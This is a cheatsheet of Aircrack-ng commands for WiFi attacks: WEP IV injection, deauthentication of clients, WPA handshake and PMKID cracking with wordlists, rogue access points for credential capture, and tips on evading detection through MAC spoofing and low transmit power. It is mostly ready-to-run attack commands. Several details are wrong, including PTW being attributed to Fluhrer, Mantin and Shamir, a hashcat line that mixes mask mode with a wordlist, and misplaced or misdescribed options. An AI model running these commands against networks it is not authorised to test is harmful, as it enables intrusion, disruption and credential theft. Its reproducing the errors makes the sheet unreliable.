Aircrack-ng Suite Cheatsheet

A comprehensive cheatsheet for using the Aircrack-ng suite, a set of tools for assessing WiFi network security. Covers essential commands and options for capturing, analyzing, and cracking WEP/WPA/WPA2 keys.

Basic Capture and Monitoring

Interface Monitoring

`airmon-ng check`	Checks for interfering processes (e.g., NetworkManager) that could disrupt packet capturing. Often necessary to stop these services before proceeding.
`airmon-ng start <interface>`	Puts the specified wireless interface into monitor mode. **Example:** `airmon-ng start wlan0` Creates `wlan0mon` (or similar) for monitoring.
`airmon-ng stop <interface>`	Takes the specified wireless interface out of monitor mode. **Example:** `airmon-ng stop wlan0mon`
`ifconfig <interface> down`	Brings down an interface. Replace with your interface name, i.e. wlan0.
`ifconfig <interface> up`	Brings up an interface. Replace with your interface name, i.e. wlan0.
`iwconfig <interface> mode monitor`	Sets the interface to monitor mode. Replace with your interface name, i.e. wlan0.

Packet Capture with airodump-ng

`airodump-ng <interface>`	Starts capturing packets on the specified interface, displaying ESSIDs, BSSIDs, channels, and client information.
`airodump-ng -c <channel> <interface>`	Captures packets on a specific channel. **Example:** `airodump-ng -c 6 wlan0mon`
`airodump-ng -w <filename> <interface>`	Writes captured packets to a file in `.cap` format (and others). **Example:** `airodump-ng -w capture wlan0mon` Creates `capture-01.cap`, `capture-01.csv`, etc.
`airodump-ng --bssid <BSSID> -c <channel> -w <filename> <interface>`	Targets a specific network by BSSID and channel. **Example:** `airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w target wlan0mon`
`airodump-ng --ignore-negative-one <interface>`	Ignores the warning message about not being associated with an access point.
`airodump-ng --manufacturer <interface>`	Displays the manufacturer of the wireless network adapter.

Analyzing Captured Data

Captured `.cap` files can be analyzed using various tools within the Aircrack-ng suite to identify potential vulnerabilities and attempt to crack the network's password.
Important data to gather includes the BSSID of the target network, the number of data packets captured, and the presence of any handshakes (WPA/WPA2).
Use `aircrack-ng` to analyze the .cap file.

WEP Cracking

WEP Cracking Fundamentals

WEP (Wired Equivalent Privacy) is an older, insecure encryption protocol. Cracking WEP typically involves capturing enough Initialization Vectors (IVs) and using `aircrack-ng` to determine the key.	The key is derived from statistical analysis of the IVs. The more IVs, the higher the probability of cracking the WEP key.
Passive capturing	Capturing IVs without actively injecting packets. Slower but less detectable.
Active injection	Actively injecting packets to generate more IVs. Faster but more detectable.

Generating IVs

`aireplay-ng -3 -b <BSSID> <interface>` (ARP Replay Attack)	Sends ARP packets to the access point and captures the replayed packets to generate IVs. Requires a connected client.
`aireplay-ng -4 -b <BSSID> -h <client MAC> <interface>` (Fragmentation Attack)	Sends fragmented packets to generate IVs. Can work without a connected client in some cases.
`aireplay-ng -5 -b <BSSID> -h <client MAC> <interface>` (Chopchop Attack)	Another method for generating IVs. Requires a valid packet to start.
`aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <client MAC> <interface>` (Interactive Packet Replay)	An interactive method for replaying packets.
`aireplay-ng -0 1 -a <BSSID> <interface>` (Deauthentication Attack)	Deauthenticates a client from the network, forcing it to reauthenticate and capture a WPA handshake.

Cracking WEP with Aircrack-ng

`aircrack-ng <capture_file.cap>`	Attempts to crack the WEP key using the captured IVs in the `.cap` file. Automatically tries different cracking methods.
`aircrack-ng -z <capture_file.cap>`	Attempts to crack the WEP key using the PTW (P Fluhrer, I Mantin, A Shamir) attack, which is often faster.

WPA/WPA2 Cracking

WPA/WPA2 Handshake Capture

To crack WPA/WPA2, you need to capture a 4-way handshake. This occurs when a client connects to the network.	Use `airodump-ng` to monitor for handshakes. Look for `WPA handshake: <BSSID>` in the airodump-ng output.
`aireplay-ng -0 1 -a <BSSID> -c <client MAC> <interface>` (Deauthentication Attack)	Sends a deauthentication packet to a specific client, forcing it to reconnect and perform the handshake. Targetting the client increases the chance of capturing the handshake quickly.
`aireplay-ng -0 0 -a <BSSID> <interface>` (Deauthentication Attack - Broadcast)	Sends deauthentication packets to all clients associated with the AP, forcing them to reconnect and perform the handshake. Less targeted than specifying a client MAC.

Cracking WPA/WPA2 with Aircrack-ng

`aircrack-ng -w <wordlist.txt> <capture_file.cap>`	Attempts to crack the WPA/WPA2 key using a dictionary attack. Requires a wordlist containing potential passwords.
`aircrack-ng -b <BSSID> -w <wordlist.txt> <capture_file.cap>`	Specifies the BSSID of the target network. Can speed up the cracking process if multiple networks are in the capture file.
Wordlists	Popular wordlists include rockyou.txt (often found in Kali Linux) and custom wordlists tailored to the target.
Hashcat	For more advanced cracking, consider using Hashcat, which supports GPU acceleration and more sophisticated attack methods.

PMKID Cracking

`hcxdumptool -o <capture.pcapng> -w <wordlist.hcxt> <interface>`	Captures PMKID (Pairwise Master Key ID), which can be used to crack WPA/WPA2 without capturing a full handshake in some cases.
`hcxpcaptool -z <pmkid.hcxt> <capture.pcapng>`	Converts the captured pcapng file to hcxt format for cracking.
`hashcat -m 16800 -a 3 <pmkid.hcxt> <wordlist>`	Cracks the PMKID using Hashcat.

Advanced Techniques and Tools

airbase-ng

`airbase-ng <interface>`	Tool to create a rogue access point, useful for man-in-the-middle attacks and capturing credentials.
`airbase-ng -c <channel> -e <ESSID> <interface>`	Creates a rogue AP on a specific channel with a specified ESSID.
`airbase-ng -P -C <seconds> -z <interface>`	Enable probing and waits for a client to connect.

packetforge-ng

`packetforge-ng -0 -a <AP_MAC> -c <client_MAC> -k 1 -l 127.0.0.1 -w wep.cap <interface>`	Forges packets to inject into the network.

Avoiding Detection

Change MAC address before starting: `ifconfig <interface> down; macchanger -r <interface>; ifconfig <interface> up`
Use a low power setting for injection: `iwconfig <interface> txpower 10`